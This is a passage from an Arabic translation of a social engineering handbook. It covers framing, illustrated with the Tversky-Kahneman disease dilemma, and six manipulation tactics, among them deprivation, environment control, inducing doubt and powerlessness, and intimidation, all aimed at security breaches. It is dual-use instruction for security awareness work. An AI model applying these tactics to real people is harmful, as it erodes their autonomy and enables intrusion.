‫ﺣدﯾﺛﺎ‪ ،‬وﻣن ﺛم ﺗﻘﯾﯾم أﻛﺛر إﯾﺟﺎﺑﯾﺔ ﻟﻠﺗﻌذﯾب؛ ﺑﺟﻌل اﻟﺗﻌذﯾب ﯾﺑدو وﻛﺄﻧﮫ اﻟوﺿﻊ اﻟراھن ﻟﻼﺳﺗﺟواب ﻟزﯾﺎدة اﻟدﻋم اﻟﻔردي وﻣﺑررات اﺳﺗﺧداﻣﮫ‬
‫ﻛﺗﻛﺗﯾك"‬
‫ﻋن طرﯾﻖ ﺗﻐﯾﯾر ﺟزء واﺣد ﺻﻐﯾر ﻓﻘط ﻣن اﻹطﺎر ﻛﺎﻧت ﻗﺎدرة ﻋﻠﻰ ﺟﻠب ﻣﺟﻣوﻋﺔ ﻛﺑﯾرة ﻣن اﻟﻧﺎس ﻟﻣﺣﺎذاة وﺟﻌﻠﮭﺎ ﺗواﻓﻖ )ﻓﻲ ﻣﻌظم‬
‫اﻷﺣﯾﺎن( أن اﻟﺗﻌذﯾب ﯾﻣﻛن أن ﺗﻛون ﺳﯾﺎﺳﺔ ﻣﻘﺑوﻟﺔ ﻋﻧد اﻟﺑﺎﺣﺛون‪.‬‬
‫وﻣﻊ اﺳﺗﻣرار ﻗراءة اﻟﺑﺣث‪ " ،‬ﯾﻣﻛن أن ﯾطﺑﻖ ﻋﺑر اﻟﻌدﯾد واﻟﻌدﯾد ﻣن اﻟﻣﺟﺎﻻت‪ ،‬وﯾﻣﻛن أن ﺗؤﺛر ﻋﻠﻰ اﻟﺣﻛم وﺻﻧﻊ اﻟﻘرار‪ ،‬وﻓﻠﺳﻔﺔ اﻟﺟﻣﺎل‪،‬‬
‫واﻷﻓﺿﻠﯾﺎت اﻟﺳﯾﺎﺳﺔ" ﺛم اﻟﺧﺗﺎم ﻣﻊ "اﻟﺗﻐﯾﯾرات اﻟﻣﺗواﺿﻌﺔ ﻧﺳﺑﯾﺎ ﻓﻲ طرﯾﻘﺔ ﻋرض اﻟﺧﯾﺎرات اﻷﺧﻼﻗﯾﺔ واﻟﻣﻌﺿﻼت اﻟﻘﯾﻣﺔ‪ ،‬اﻹطﺎر‪ ،‬أو‬
‫وﺿﻌﮭﺎ ﻓﻲ ﺳﯾﺎق ﯾﻣﻛن أن ﯾﻛون ﻟﮭﺎ ﺗﺄﺛﯾر ﻋﻣﯾﻖ ﻋﻠﻰ اﻻﺧﺗﯾﺎر وﺳﯾﺎﺳﺔ اﻟﺳﯾﺎﺳﻲ"‪.‬‬
‫ھذه اﻟﺗﺟرﺑﺔ ﺗﺛﺑت ﻣدى ﻗوة اﻟﺗﺄطﯾر ﻷﻧﮫ ﯾﻣﻛن ان ﯾﻐﯾر ﺣﺗﻰ اﻟﻣﻌﺗﻘدات اﻷﺳﺎﺳﯾﺔ‪ ،‬واﻷﺣﻛﺎم‪ ،‬واﻟﻘرارات اﻟﺗﻲ رﺑﻣﺎ ﻛﺎﻧت ﻟﻠﻧﺎس ﻟﺳﻧوات‪.‬‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ اﻟﺗﻲ ﻟﯾﺳت ھﻲ ھدف ﻟﻣﻌظم اﻟوﻗت‪ .‬ﻓﺎﻧت ﻻ ﺗﺣﺎول ﺗﺣوﯾل اﻟﻧﺎس‪ .‬وﻟﻛن ﻣﺟرد ﻣﺣﺎوﻟﺔ ﺣﻣﻠﮭم ﻋﻠﻰ اﻟﻘﯾﺎم ﺑﻌﻣل ﻣﻊ ﻗﻠﯾل ﻣن‬
‫اﻟﺗﻔﻛﯾر أﻧﮭﺎ ﻟﯾﺳت ﺳﺑب ﺟﯾد ﻟﻠﺗﻘدم‪.‬‬
‫ﯾﻣﻛن ﺗطﺑﯾﻖ ﻗواﻋد اﻟﺗﺄطﯾر اﻷرﺑﻌﺔ وﺗﻔﻌﯾل اﻟﻛﺛﯾر ﻣن اﻟﺗﺧطﯾط ﻟﺟﻌل اﻟﺗﺄطﯾر ﻗوة ﻣدﻣرة ﻻ ﯾﺳﺗﮭﺎن ﺑﮭﺎ‪ ،‬وﻟﮭذا اﻟﺳﺑب‪ ،‬ﻟﻸﺳف‪ ،‬اﻟﻣﮭﻧدﺳﯾن‬
‫اﻻﺟﺗﻣﺎﻋﻲ اﻟﺧﺑﯾﺛﺔ ﯾﺳﺗﺧدم ھذه اﻟﺗﻘﻧﯾﺔ ﻛل ﯾوم‪ .‬ﻓﻲ اﻟوﻻﯾﺎت اﻟﻣﺗﺣدة و "اﻟﺛﻘﺎﻓﺎت اﻟﻐرﺑﯾﺔ"‪ ،‬ﺧﺻوﺻﺎ‪ ،‬ﯾﺗم ﺗدرﯾب اﻟﻧﺎس ﻋﻠﻰ ﻗﺑول ﺗﺄطﯾرھم‬
‫)‪ ،(begin framed‬ﻟﻘﺑول ﻣﺎ ﯾﻘﺎل ﻋﻠﻰ ﻣﺎ ﯾﻔﻛر وﻛﯾﻔﯾﺔ اﻟﺗﻔﻛﯾر ﻓﯾﮫ‪.‬‬
‫ﻟو ﻗﻠت ﻟك ﻗﺑل ‪ 15‬ﻋﺎﻣﺎ ﺗﻘرﯾﺑﺎ أن ﻛل ﺑراﻣﺞ ﻋﻠﻰ اﻟﺗﻠﻔزﯾون ﺗﻛون ﻋن ﻣﺷﺎھدة ﺷﺧص ﺣﻘﯾﻘﻲ ﯾﻔﻌل أﺷﯾﺎء ﺣﻘﯾﻘﯾﺔ‪ ،‬ﻟﻛﻧت ﻗد ﺿﺣﻛت ﻓﻲ‬
‫وﺟﮭﻲ‪ .‬ﻟﻣﺎذا؟ ﻷن ﻣﺷﺎھدة ﻋروض ﻣﺛل ھذه ﺑدت ﻣﻣﻠﺔ وﺳﺧﯾﻔﺔ‪ .‬ﺑﻌد ﻋﺎم ‪ ،2006‬ذﻛرت ﻟوس أﻧﺟﻠوس ﺗﺎﯾﻣز أن ﻋدد ﻣن ﺑراﻣﺞ ﺗﻠﻔزﯾون‬
‫اﻟواﻗﻊ ﻗﻔزت ﻓوق ‪ ،٪128‬وأﻧﮭﺎ ﻟم ﺗﺗﺑﺎطﺄ ﻛﺛﯾرا ﻣﻧذ ذﻟك اﻟﺣﯾن‪ ،‬وذﻟك ﻷن ﻣﺷﺎھدﺗﮭم ﺗﻛون ﻟﻣﺎ ھو ﺟدﯾد وﻣﺛﯾر‪ ،‬وﻧﺣن ﻧﺧﺑرھم أن ﻣﺷﺎھدﺗﮭم‬
‫ﺗﻛون ﺟﯾدة وﻣﻣﺗﻌﺔ‪ ،‬واﻟﺟﻣﯾﻊ ﯾﻔﻌل ذﻟك‪ .‬ھذه اﻟﻌروض ھﻲ ﻣﺛﺎل ﻟﻠﻛﯾﻔﯾﺔ اﻟﺗﻲ ﯾﻣﻛن أن ﺗﻘدم ﺷﯾﺋﺎ واﺣدا أن ﺗﺑدو ﺟﯾدة أن ﻣﻌظم اﻟﻧﺎس ﻗد‬
‫ﺗﻌﺗﺑرھﺎ ﺳﺧﯾﻔﺔ ﻗﺑل ﺑﺿﻌﺔ ﺳﻧوات‪.‬‬
‫ﻛﻣﮭﻧدﺳﯾن اﺟﺗﻣﺎﻋﯾن ھدﻓﻧﺎ ھو اﻟﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺳوف ﺗؤدي إﻟﻰ ﺧرق ﻧﺎﺟﺣﺔ ﻟﻸﻣن‪ .‬اﻟﺗﺄطﯾر ﯾﻣﻛن اﺳﺗﺧداﻣﮫ ﻟﻠﺗﻼﻋب‬
‫ﺑﺎﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗﺣﻔز اﻟﮭدف ﻣن اﺗﺧﺎذ اﻟﻘرارات ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﻧرﯾدھﺎ ﻣﻧﮫ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﺧﺗﺑﺎر ﻋﻣل ﻓﻲ ﻋﺎم ‪ 1981‬ﺑﺎﺛﻧﯾن ﻣن ﻋﻠﻣﺎء‬
‫اﻟﻧﻔس ﺗﻔﯾرﺳﻛﻲ وﻛﺎھﻧﻣﺎن اﻟذﯾن ﻗﺎﻣوا ﺑﻌرض ﻣواﺿﯾﻊ ﺑﺳؤال ﺣول اﻟوﻗﺎﯾﺔ ﻣن اﻷﻣراض‪ .‬اﻟﻣﺷﻛﻠﺔ اﻷوﻟﻰ اﻟﺗﻲ أﻋطﯾت ﻟﻠﻣﺷﺎرﻛﯾن ھو‬
‫ﻋرض اﺛﻧﯾن ﻣن اﻟﺣﻠول اﻟﺑدﯾﻠﺔ ﻋن ‪ 600‬ﺷﺧص ﻣن اﻟﻣﺗﺄﺛرﯾن ﺑﻣرض ﻣﻣﯾت اﻓﺗراﺿﯾﺎ‪:‬‬
‫‪ -‬اﻟﻌﻼج ‪ A‬ﯾﻧﻘذ ﺣﯾﺎة ‪ 200‬ﻣن اﻟﺷﻌوب‪.‬‬
‫‪ -‬اﻟﻌﻼج ‪ B‬ﻟدﯾﮫ ﻓرﺻﺔ ‪ %33‬ﻣن إﻧﻘﺎذ ﺟﻣﯾﻊ اﻟﻧﺎس اﻠ ‪ 600‬وإﻣﻛﺎﻧﯾﺔ ‪ %66‬ﻣن ﻋدم إﻧﻘﺎذ أي ﺷﺧص‪.‬‬
‫ھذه اﻟﻘرارات ﻟﮭﺎ ﻧﻔس اﻟﻘﯾﻣﺔ اﻟﻣﺗوﻗﻌﺔ ﻹﻧﻘﺎذ اﻷرواح ‪ ،200‬وﻟﻛن اﻟﺧﯾﺎر ‪ B‬ﻣﺣﻔوف ﺑﺎﻟﻣﺧﺎطر‪ 72 .‬ﻓﻲ اﻟﻣﺎﺋﺔ ﻣن اﻟﻣﺷﺎرﻛﯾن ﯾﺧﺗﺎروا اﻟﺧﯾﺎر‬
‫‪ ،A‬ﻓﻲ ﺣﯾن أن ‪ 28‬ﻓﻲ اﻟﻣﺎﺋﺔ ﻓﻘط ﻣن اﻟﻣﺷﺎرﻛﯾن اﺧﺗﺎروا اﻟﺧﯾﺎر ‪ B‬ﻣﺟﻣوﻋﺔ أﺧرى ﻣن اﻟﻣﺷﺎرﻛﯾن ﻛﺎﻧت ﺗﻌطﻲ ﻧﻔس اﻟﺳﯾﻧﺎرﯾو ﻣﻊ‬
‫إﺣﺻﺎءات ﻣﺧﺗﻠﻔﺔ‪:‬‬
‫‪ -‬اﻟﺧﯾﺎر ‪ C‬ﺳوف ﯾﻣوت ﻓﯾﮫ ‪ 400‬ﺷﺧص‬
‫‪ -‬اﻟﺧﯾﺎر ‪ D‬ﻟدﯾﮫ أن ‪ %33‬ﻣن اﻷﺷﺧﺎص ﺳوف ﻻ ﯾﻣوﺗوا ﻟﻛن اﺣﺗﻣﺎل ‪ %66‬ﻣن ‪ 600‬ﺳوف ﯾﻣوﺗوا‪.‬‬
‫ھذا ﯾﺑﯾن أن اﻷﺳﺋﻠﺔ اﻟﻣؤطرة ﺑﺈﯾﺟﺎﺑﯾﺔ ﻓﺎن اﻟﻧﺎس ﻋﻣوﻣﺎ ﺗﺧﺗﺎر اﻟﺣﯾﺎة ﺑدﻻً ﻣن اﻷﺳﺋﻠﺔ اﻟﻣؤطرة ﺳﻠﺑﺎ‪ .‬ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﺳﻧﻛون ﻓﻲ ﺣﺎﺟﺔ إﻟﻰ‬
‫ﻣﻣﺎرﺳﺔ ھذه اﻟﻣﮭﺎرات ﻟﺗﺣرﯾف أﺳﺋﻠﺗﻧﺎ واﻟﺑﯾﺎﻧﺎت ﻧﺣو اﻹطﺎر اﻟذي ﻧرﯾد أھداﻓﻧﺎ ﻓﯾﮫ‪ .‬ﻟﺗﺄطﯾر اﻷﺳﺋﻠﺔ ﻟﯾﻛون ﻟﮭﺎ اﻟﺣد اﻷﻗﺻﻰ ﻣن اﻟﺗﺄﺛﯾر ﯾﻣﻛن‬
‫ذﻟك ﻣن ﺧﻼل إﺗﺑﺎع ھذه اﻟﻣﺑﺎدئ‪.‬‬
‫‪ o‬ﻋﺑﺎرة ﻛل ﺳؤال ﯾﺟب أن ﯾﻛون ﻟﮫ ﻏرض واﺣد ﻓﻘط ھو اﻟﺗرﻛﯾز ﺑوﺿوح‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪935‬‬

‫‪ o‬ﺗﺟﻧب ﻟﻐﺔ اﻟﺗﻘﻧﯾﺔ اﻟﺗﻲ ﺳوف ﺗﺧﻠط ﺑﯾن اﻟﮭدف أو ﺗﺗﺳﺑب ﻓﻲ اﻧﺳﺣﺎﺑﮫ‪.‬‬
‫‪ o‬أﺳﺋﻠﺔ اﻹطﺎر ﺳوف ﺗﺳﺎﻋدك ﻋﻠﻰ ﺗﻣﯾﯾز ﻧوع اﻷھداف اﻟﺳﻠوﻛﯾﺔ )ھل ھﻲ ﺗﺣﻠﯾﻠﯾﺔ‪ ،‬ﻣﻌﺑرة(‬
‫‪ o‬ﻧﺳﺄل أﻧﻔﺳﻧﺎ‪" ،‬ﻣﺎذا ﺗرﯾد ﻣن ﻣﻌرﻓﺔ ھذه اﻟﻣﺳﺄﻟﺔ أﯾﺿﺎ؟"‬
‫إدﺧﺎل ﻓﻛر ﺟدﯾد ﺑﺈﺧﻔﺎء ذﻟك ﻓﻲ ﺳؤال ھﻲ وﺳﯾﻠﺔ رﺋﯾﺳﯾﺔ ﻟﻘﯾﺎدة اﻟﮭدف اﻟﻰ اﻟﻣﺳﺎر‪ .‬أوﻗﺎت ﻛﺛﯾر ﻣن اﻟﻣدرﺳﯾن ﻓﻲ اﻟﻣدارس ﯾﺳﺗﺧدﻣون ھذا‪.‬‬
‫اﻟﺗﺄطﯾر ھو ﺑﺎﻟﺗﺄﻛﯾد ﺷﻛل ﻣن اﺷﻛﺎل اﻟﻔن اﻟﺗﻲ ﻋﻧدﻣﺎ ﺗﻣزج ﻣﻊ ﻋﻠم اﻻﺗﺻﺎل واﻟﺗﺄﺛﯾر ﯾﻣﻛن أن ﺗﺻﺑﺢ ﻗوة ھﺎﺋﻠﺔ ﻋﻠﻰ اﻟﻣﺳﺗوى اﻟﺷﺧﺻﻲ ﻓﻲ ﯾد‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻣﺎھر‪ ،‬ﻣن ﺧﻼل ﺗﻘدﯾم اﻟﻣﻌﻠوﻣﺎت ﺑطرﯾﻘﺔ ﯾﻣﻛن أن ﺗﺟﻌل ﻣواءﻣﺔ ﻣﻊ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ "ﺳﮭﻠﺔ "ﻟﮭذا اﻟﮭدف‪ ،‬ﯾﻣﻛن أن‬
‫ﺗﺟﻌل ﻣﻧﮫ اﺗﺧﺎذ اﻹﺟراءات اﻟﺗﻲ ﻟن ﺗﺗرك ﻟﮫ اﻟﺷﻌور ﺑﺎﻟذﻧب‪ ،‬وﺗﻐﯾﯾر ﺗﺻوره ﻟﻠواﻗﻊ‪.‬‬
‫اﻟﺗﺄطﯾر واﻟﺗﺄﺛﯾر أﺟزاء رﺋﯾﺳﯾﺔ ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻋﻠﻰ اﻟرﻏم ﻣن أن ﻛﺛﯾرا ﻣﻧﮭﺎ ﺗرﺗﺑط ﺑﻣﮭﺎرة أﺧرى ﻣﻊ "اﻟزواﯾﺎ اﻟﻣظﻠﻣﺔ" ﻟﻠﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﯾﻌرض اﻟﻘﺳم اﻟﺗﺎﻟﻲ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﻐﯾر اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗﻧظر ﺑﮭﺎ اﻟﻰ اﻟﺗﺄﺛﯾر‪.‬‬

‫اﻟﺗﻼﻋب‪ :‬اﻟﺗﺣﻛم ﻓﻲ ھدﻓك )‪(Manipulation: Controlling Your Target‬‬

‫ﯾﻌﺗﺑر اﻟﺗﻼﻋب )‪ (Manipulation‬ﻣن ﻗﺑل اﻟﻌدﯾد ﻣن اﻟﻣراﻗﺑﯾن ﻣوﺿوع ﻣظﻠﻣﺔ ﺟدا‪ ،‬وھو اﻟﻣوﺿوع اﻟذي ﯾﺧﻠﻖ ﺷﻌور ﻣن اﻟﺧوف ﺑﺳﺑب‬
‫اﻟطرﯾﻘﺔ اﻟﺗﻲ ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺻور ذﻟك‪.‬‬
‫ﻓﻠﻧﻠﻘﻲ ﻧظرة ﻋﻠﻰ ﺑﻌض اﻟﺗﻌرﯾﻔﺎت اﻟﺗﻲ وﺟدت ﻋﻠﻰ ﺷﺑﻛﺔ اﻹﻧﺗرﻧت واﻟﺗﻲ ﻗد ﺗﺳﺎﻋد ﻓﻲ ﺗﻔﺳﯾر ذﻟك‪:‬‬
‫‪" -‬ﻣﻣﺎرﺳﺔ اﻟﺗﺄﺛﯾر ذات اﻟدھﺎء أو اﻟﻣﻠﺗوي ﺧﺎﺻﺔ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﻣرء اﻟذى ﯾﻣﻠك ﻣﯾزة"‪.‬‬
‫‪" -‬اﻟﺗﺄﺛﯾر أو اﻟﺳﯾطرة ﺑدھﺎء أو ﻣﺧﺎدع"‪.‬‬
‫‪" -‬ﺳﯾطرة )اﻵﺧرﯾن أو اﻟﻧﻔس( أو اﻟﺗﺄﺛﯾر ﺑﻣﮭﺎرة‪ ،‬ﻋﺎدة ﻟﻣﯾزة واﺣدة"‬
‫ﯾﻣﻛﻧك ان ﺗرى ﺑوﺿوح ﻟﻣﺎذا اﻟﻌدﯾد ﻣن اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﺳﺎل ﻟﻌﺎﺑﮭم ﻋﻠﻰ ھذا اﻟﻣوﺿوع‪ .‬ﯾﻣﻛﻧك أن ﺗﺗﺧﯾل أن ﺗﻛون ﻗﺎدرة ﻋﻠﻰ‬
‫اﺳﺗﺧدام اﻟﻣﮭﺎرات اﻟﺧﺎﺻﺔ ﺑك ﻟﻠﺳﯾطرة أو اﻟﺗﺄﺛﯾر ﻋﻠﻰ ﺷﺧص ﻣﺎ ﻟﺻﺎﻟﺣك؟‬
‫ﻣن ﺷﻲء ﻣظﻠم ﻣﺛل ﻏﺳﯾل اﻟﻣﺦ إﻟﻰ ﺗﻠﻣﯾﺣﺎت ﺧﻔﯾﺔ ﻣن ﻣﻧدوب اﻟﻣﺑﯾﻌﺎت‪ ،‬وﺗﻛﺗﯾﻛﺎت اﻟﺗﻼﻋب ھﻲ ﺷﻲء ﯾﺟب دراﺳﺔ ﻟﻛل ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‬
‫وان ﯾﻛون ﺟﯾدا ﺟدا ﻓﯾﮫ‪ .‬اﻟﮭدف ﻣن اﻟﺗﻼﻋب ھو اﻟﺗﻐﻠب ﻋﻠﻰ اﻟﺗﻔﻛﯾر اﻟﻧﻘدي واﻹرادة اﻟﺣرة ﻟﮭدﻓﮭم‪ .‬ﻋﻧدﻣﺎ ﯾﻔﻘد اﻟﮭدف ﻗدرﺗﮫ ﻋﻠﻰ اﺗﺧﺎذ اﻟﻘرار‬
‫ﻋﻠﻰ أﺳﺎس اﻟﻌﻣﻠﯾﺎت اﻟﻣطﻠﻌﺔ‪ ،‬ﻓﺄﻧﮫ ﯾﻣﻛن ﻋن طرﯾﻘﺔ ﺗﻐذﯾﺔ اﻷﻓﻛﺎر‪ ،‬واﻟﻘﯾم‪ ،‬واﻟﻣواﻗف‪ ،‬أو اﻟﺗﺄﻣل ﻓﻲ أﺣد اﻟﺗﻼﻋب ﺑﮫ‪.‬‬
‫ﯾﺳﺗﺧدم اﻟﺗﻼﻋب ﻓﻲ ﺳﺗﺔ طرق اﻟﺗﻲ ﺗﺣﻣل ﺣﻘﯾﻘﺔ إذا ﻛﺎن اﻟﻣوﺿوع ھو ﻏﺳل دﻣﺎغ أو ﺷﻲء أﻗل ﻣﻛرا‪ .‬ﺳﺄذھب ﺑﺳرﻋﺔ ﺧﻼل ﻛل واﺣد ﻗﺑل‬
‫ان ﻧدﺧل ﺑﻌﻣﻖ اﻟﻰ ھذا اﻟﻘﺳم‪.‬‬
‫‪ -‬زﯾﺎدة إﯾﺣﺎء ھدﻓك )‪(Increasing the suggestibility of your target‬‬
‫ﺣﯾث أﻧﮫ أﻛﺛر ﺗطرﻓﺎ‪ ،‬اﻟﺣرﻣﺎن ﻣن اﻟﻧوم أو اﻟطﻌﺎم ﯾزﯾد اﻹﯾﺣﺎء ﻋﻧد اﻟﮭدف‪ .‬ﻋﻠﻰ اﻟﺟﺎﻧب اﻟﻣﺿﻲء‪ ،‬اﻟﺗﻠﻣﯾﺣﺎت اﻟﺧﻔﯾﺔ ﺗﻘوم ﺑﺎﻟﺑﻧﺎء ﺑﺷدة ﻣﻊ‬
‫ﻣرور اﻟوﻗت ﻟﺟﻌل اﻟﮭدف أﻛﺛر إﯾﺣﺎء‪.‬‬
‫‪ -‬اﻟﺳﯾطرة ﻋﻠﻰ ﺑﯾﺋﺔ اﻟﮭدف )‪(Gaining control over the target’s environment‬‬
‫ھذه اﻟﺗﻘﻧﯾﺔ ﯾﻣﻛن أن ﺗﺷﻣل ﻛل ﺷﻲء ﻣن اﻟﺳﯾطرة ﻋﻠﻰ ﻧوع وﻛﻣﯾﺔ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﻟدي اﻟﮭدف إﻣﻛﺎﻧﯾﺔ اﻟوﺻول إﻟﻰ اﻟﻛﺛﯾر ﻣن اﻷﺷﯾﺎء اﻷﻛﺛر‬
‫دھﺎء ﻣﺛل إﻣﻛﺎﻧﯾﺔ اﻟوﺻول إﻟﻰ ﻣواﻗﻊ وﺳﺎﺋل اﻹﻋﻼم اﻻﺟﺗﻣﺎﻋﯾﺔ )‪ (social media website‬ﻟﻠﮭدف‪ .‬ﻓﻲ ﺳﯾﺎق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬إﻣﻛﺎﻧﯾﺔ‬
‫اﻟوﺻول إﻟﻰ وﺳﺎﺋل اﻹﻋﻼم اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﺳﻣﺢ ﻟك ﻋرض اﻟرﺳﺎﺋل اﻟﺧﺎﺻﺔ ﺑﺎﻟﮭدف‪ ،‬ﻓﺿﻼ ﻋن ﻓرض رﻗﺎﺑﺔ ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﺗﻠﻘﺎھﺎ‪.‬‬
‫‪ -‬ﺧﻠﻖ اﻟﺷك )‪(Creating doubt‬‬
‫زﻋزﻋﺔ اﻻﺳﺗﻘرار وﺗَ ْﻘ ِوﯾض)إﺿﻌﺎف( ﻧظﺎم اﻋﺗﻘﺎد اﻟﮭدف اﻟﺧﺎص ﺑك ﯾﻣﻛﻧﮫ أن ﯾﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو اﻟﺗﻼﻋب ﺑﺎﻟﮭدف ﻻﺗﺧﺎذ اﻹﺟراء اﻟذي‬
‫ﺗرﯾده‪ .‬ﻣن وﺟﮭﺔ ﻧظر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ھذا ﯾﺟب أن ﯾﺗم ﺑﻣﮭﺎرة‪ .‬ﻻ ﯾﻣﻛﻧك ذﻟك ﺑﻣﺟرد اﻟﻣداﺧﻠﺔ ﻣﻌﮫ وﺑدء اﻟﻣﻌﺎﻣﻠﺔ اﻟﻼإﻧﺳﺎﻧﯾﺔ ﻟﻠﮭدف‬
‫اﻟﺧﺎص ﺑك ﺑدﻻ ﻣن ذﻟك‪ ،‬اﻟﺗﺷﻛﯾك ﻓﻲ اﻟﻘواﻋد اﻟﺗﻲ ﯾﺗﺑﻌﮭﺎ‪ ،‬وظﺎﺋﻔﮫ‪ ،‬أو ﻣﻌﺗﻘداﺗﮫ ﯾﻣﻛن أن ﺗؤﺛر ﻋﻠﻰ ﻗدرة اﻟﮭدف ﻋﻠﻰ اﺗﺧﺎذ ﻗرارات رﺷﯾدة‪.‬‬
‫‪ -‬ﺧﻠﻖ ﺷﻌور ﺑﺎﻟﻌﺟز )‪(Creating a sense of powerlessness‬‬
‫ﺗﺳﺗﺧدم ھذه اﻟﺗﻘﻧﯾﺔ اﻟﺧﺑﯾﺛﺔ ﺣﻘﺎ ﻓﻲ اﻻﺳﺗﺟواب أﺛﻧﺎء اﻟﺣرب ﻟﺟﻌل اﻟﮭدف ﯾﺷﻌر ﺑﺎﻧﻌدام اﻟﺛﻘﺔ ﻓﻲ ﻣﻌﺗﻘداﺗﮫ‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛﻧﮫ اﻻﺳﺗﻔﺎدة‬
‫ﻣن ھذا اﻟﺗﻛﺗﯾك ﺑﺄﺧذ وﻛﺎﻟﺔ اﻟﮭدف )‪ (target’s agency‬ﻋن طرﯾﻖ ﺗﻘدﯾم "اﻟﺣﻘﺎﺋﻖ" اﻟﺗﻲ ﺗﻠﻘﯾﺗﮭﺎ ﻣن ﺷﺧص ﻣﺎ ﻣﻊ ﺳﻠطﺔ‪ ،‬وﺑﺎﻟﺗﺎﻟﻲ ﺧﻠﻖ‬
‫ﺷﻌور ﺑﺎﻟﻌﺟز واﻟﺿﻌف‪.‬‬
‫‪ -‬ﺧﻠﻖ اﺳﺗﺟﺎﺑﺎت اﻧﻔﻌﺎﻟﯾﺔ ﻗوﯾﺔ ﻓﻲ اﻟﮭدف اﻟﺧﺎص ﺑك )‪(Creating strong emotional responses in the target‬‬
‫ﺗﺷﻣل اﻻﺳﺗﺟﺎﺑﺎت اﻟﻌﺎطﻔﯾﺔ اﻟﻘوﯾﺔ ﻛل ﺷﻲء ﻣن اﻟﺷك إﻟﻰ اﻟذﻧب ﻟﻺھﺎﻧﺔ وأﻛﺛر‪ .‬إذا ﻛﺎﻧت اﻟﻣﺷﺎﻋر ﻣﻛﺛﻔﺔ ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ‪ ،‬ﻓﺈﻧﮫ ﯾﻣﻛن أن ﯾﺗﺳﺑب‬
‫ﻟﻠﮭدف ﻓﻲ ﺗﻐﯾﯾر ﻧظﺎم اﻻﻋﺗﻘﺎد ﻛﻠﮫ اﻟﺧﺎص ﺑﮫ‪ .‬ﯾﺟب أن ﯾﻛون اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺣرﯾص ﻟﯾس ﻋﻠﻰ إﻧﺷﺎء اﻹﺿرار ﺑﺎﻟﻣﺷﺎﻋر اﻟﺳﻠﺑﯾﺔ‪،‬‬
‫وﻟﻛن ﺑﺎﺳﺗﺧدام اﻟﺗﻛﺗﯾﻛﺎت اﻟﺗﻲ ﺗﺧﻠﻖ ردود ﻓﻌل ﻋﺎطﻔﯾﺔ ﻋﻠﻰ أﺳﺎس اﻟﺧوف ﻣن ﻓﻘدان أو اﻟﻌﻘوﺑﺔ ﯾﻣﻛن أن ﺗﻛون ﻣﻔﯾدة ﻟﮭدف اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺧﺎﺻﺔ ﺑك‪.‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪936‬‬

‫‪ -‬اﻟﺗرھﯾب اﻟﺛﻘﯾل )‪(Heavy intimidation‬‬

‫اﻟﺧوف ﻣن اﻷﻟم اﻟﺟﺳدي أو اﻟظروف اﻟﺻﻌﺑﺔ اﻷﺧرى ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻹﺣداث ﺷرخ ﻓﻲ اﻟﮭدف ﺗﺣت اﻟﺿﻐط‪ .‬ﻣرة أﺧرى‪ ،‬ﻣﻌظم اﻟﻣﮭﻧدﺳﯾن‬
‫اﻻﺟﺗﻣﺎﻋﯾن ﻻ ﯾذھﺑوا ﻣن ھذا اﻟطرﯾﻖ إﻻ إذا ﻛﺎﻧت ﺗﺳﺗﺧدم ﺗﺟﺳس اﻟﺷرﻛﺎت ﻛﺗﻛﺗﯾك‪ ،‬وﻟﻛن ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻌﺎدﯾﺔ‪ ،‬ھذا اﻟﺗﻛﺗﯾك‬
‫ﯾﺳﺗﺧدم ﻟﺑﻧﺎء ﺳﻠطﺔ اﻟﺧوف اﻟﺷدﯾد وﻣﺷﺎﻋر اﻟﺧﺳﺎرة اﻟﻣﺣﺗﻣﻠﺔ اﻟﻣﺗﺻورة‪.‬‬

